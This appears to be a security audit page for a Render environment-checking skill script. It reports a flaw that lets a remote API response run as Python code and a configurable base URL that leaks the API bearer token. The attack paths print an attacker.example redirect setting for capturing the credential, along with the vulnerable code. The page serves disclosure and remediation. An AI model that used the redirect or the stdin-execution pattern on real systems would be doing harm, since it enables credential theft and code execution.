Back to skill

Security audit

Render Env Guard

Security checks for vulnerabilities and agentic risk

Overview

This Render environment checker has a coherent purpose, but its script can expose a Render API key to a user-configured server and can accidentally execute API responses as Python code.

Review or patch the script before installing. It should pin authenticated requests to Render's HTTPS API or strictly allowlist trusted origins, and it should pass API JSON to Python as data through a separate file descriptor or file instead of stdin used for Python source.

Vulnerability Patterns
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T03 · Remote Payload Retrieval and Execution

Error
Location
scripts/check-render-env.sh:34
Finding
Remote API Responses Are Executed as Python Code<![CDATA[ ## Vulnerability Details **File Location**: `scripts/check-render-env.sh`, lines 34-44 and 93-103 **Vulnerability Type**: Remote code execution through conflicting standard-input redirections **Risk Level**: Critical ### Vulnerable Code ```bash local services_json services_json="$(api_get "/services")" local matches matches="$(python3 - "$SERVICE_NAME" <<'PY' <<<"$services_json" import json, sys name = sys.argv[1] rows = json.load(sys.stdin) for row in rows: svc = row.get("service") or {} if svc.get("name") == name and svc.get("id"): print(svc["id"]) PY )" ``` The same vulnerable construction is used when processing environment variables: ```bash value="$(python3 - "$key" <<'PY' <<<"$env_json" import json, sys k = sys.argv[1] rows = json.load(sys.stdin) for row in rows: env = row.get("envVar") or {} if env.get("key") == k: print(env.get("value") or "") break PY )" ``` ### Technical Analysis The command `python3 -` instructs Python to read and execute its program from standard input. Each invocation supplies two competing redirections: 1. A heredoc containing the intended trusted Python parser. 2. A subsequent here-string containing the untrusted API response. Shell redirections are processed from left to right. The final `<<<"$services_json"` or `<<<"$env_json"` redirection replaces the heredoc as the command's standard input. Therefore, Python treats the remote API response as source code rather than JSON data. The response is retrieved through `curl` from the caller-configurable `RENDER_API_BASE_URL`. An attacker who controls that endpoint, can alter the environment variable, or can compromise the configured API server can return syntactically valid Python that executes arbitrary commands. ### Attack Path 1. The attacker sets or influences `RENDER_API_BASE_URL`, for example: ```bash export RENDER_API_BASE_URL="https://attacker.example" ``` 2. The victim runs: ```bash bash scripts/c ...[truncated 1290 chars]
Remediation
<![CDATA[ ## Remediation Suggestions Do not use the same standard-input stream for both Python source code and untrusted JSON. Use a fixed Python program and pass the response through a separate file descriptor, environment variable, or safely managed file. One possible pattern uses file descriptor 3: ```bash matches="$( python3 - "$SERVICE_NAME" 3<<<"$services_json" <<'PY' import json import sys name = sys.argv[1] with open(3) as stream: rows = json.load(stream) for row in rows: svc = row.get("service") or {} if svc.get("name") == name and svc.get("id"): print(svc["id"]) PY )" ``` Apply the same correction to the environment-variable parser: ```bash value="$( python3 - "$key" 3<<<"$env_json" <<'PY' import json import sys key = sys.argv[1] with open(3) as stream: rows = json.load(stream) for row in rows: env = row.get("envVar") or {} if env.get("key") == key: print(env.get("value") or "") break PY )" ``` Additional hardening should include: - Validate that API responses use the expected JSON structure before processing them. - Reject unexpectedly large responses. - Pin the API origin to the legitimate Render HTTPS endpoint. - Run the checker with minimal filesystem and network permissions. - Add regression tests proving that Python-looking response content is parsed only as data and is never executed. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
scripts/check-render-env.sh:20
Finding
Render API Key Can Be Sent to an Arbitrary Configured Server<![CDATA[ ## Vulnerability Details **File Location**: `scripts/check-render-env.sh`, lines 4 and 20-25 **Vulnerability Type**: Credential exfiltration through an unrestricted API base URL **Risk Level**: High ### Vulnerable Code ```bash API_BASE="${RENDER_API_BASE_URL:-https://api.render.com/v1}" ``` ```bash api_get() { local path="$1" curl -fsSL \ -H "Authorization: Bearer ${TOKEN}" \ -H "Accept: application/json" \ "${API_BASE}${path}" } ``` ### Technical Analysis `RENDER_API_BASE_URL` is accepted without validating its scheme, hostname, port, path, or origin. The `api_get` function then attaches the Render bearer token to every request made to that configured address. As a result, anyone capable of controlling the environment in which the skill runs can direct the authenticated request to an arbitrary server. The implementation also permits a plaintext `http://` URL, which could expose the token to network interception. This is especially dangerous in CI/CD environments where environment variables may be supplied through workflow parameters, inherited shell state, repository configuration, or deployment tooling. The vulnerable configuration option is explicitly documented as a supported input in `SKILL.md`, increasing the likelihood that it will be used. ### Attack Path 1. An attacker gains control over, or causes a victim to use, an environment containing: ```bash RENDER_API_BASE_URL="https://attacker.example" ``` 2. A valid `RENDER_API_KEY` remains available to the script. 3. The victim or CI worker invokes `scripts/check-render-env.sh`. 4. `api_get` sends a request to the attacker-controlled server with: ```http Authorization: Bearer <RENDER_API_KEY> ``` 5. The attacker records the bearer token. 6. The attacker uses the token against the legitimate Render API, subject to the permissions assigned to that credential. If an `http://` URL is configured, a network-positioned attacker may also intercept the token i ...[truncated 678 chars]
Remediation
<![CDATA[ ## Remediation Suggestions Restrict authenticated requests to an allowlisted HTTPS origin. For the normal use case, remove the configurable base URL entirely: ```bash API_BASE="https://api.render.com/v1" ``` If custom endpoints are operationally necessary: 1. Parse the URL with a proper URL parser. 2. Require the `https` scheme. 3. Allowlist exact trusted hostnames and expected ports. 4. Reject embedded credentials, fragments, unexpected paths, and nonstandard ports. 5. Do not attach the Render authorization header to hosts other than the trusted Render API origin. 6. Avoid forwarding credentials across cross-origin redirects. 7. Use a separate opt-in credential for trusted proxies or test servers rather than forwarding the production Render key. 8. Scope the Render API key to the minimum necessary permissions and rotate any token that may have been exposed. The script should fail closed when URL validation fails and should never print the token in diagnostics. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Findings (3)

Lp3

Medium
Category
MCP Least Privilege
Confidence
91% confidence
Finding
The skill explicitly instructs the user to run a shell script and declares required binaries, but it does not declare any tool scope such as permissions or allowed-tools. That means an agent/runtime may execute shell-capable behavior without an explicit least-privilege boundary, increasing the chance of unintended command execution or broader host access than the skill actually needs.

External Transmission

Medium
Category
Data Exfiltration
Content
#!/usr/bin/env bash
set -euo pipefail

API_BASE="${RENDER_API_BASE_URL:-https://api.render.com/v1}"
TOKEN="${RENDER_API_KEY:-}"
SERVICE_ID="${RENDER_SERVICE_ID:-}"
SERVICE_NAME="${RENDER_SERVICE_NAME:-}"
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
#!/usr/bin/env bash
set -euo pipefail

API_BASE="${RENDER_API_BASE_URL:-https://api.render.com/v1}"
TOKEN="${RENDER_API_KEY:-}"
SERVICE_ID="${RENDER_SERVICE_ID:-}"
SERVICE_NAME="${RENDER_SERVICE_NAME:-}"
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Static analysis

No suspicious patterns detected.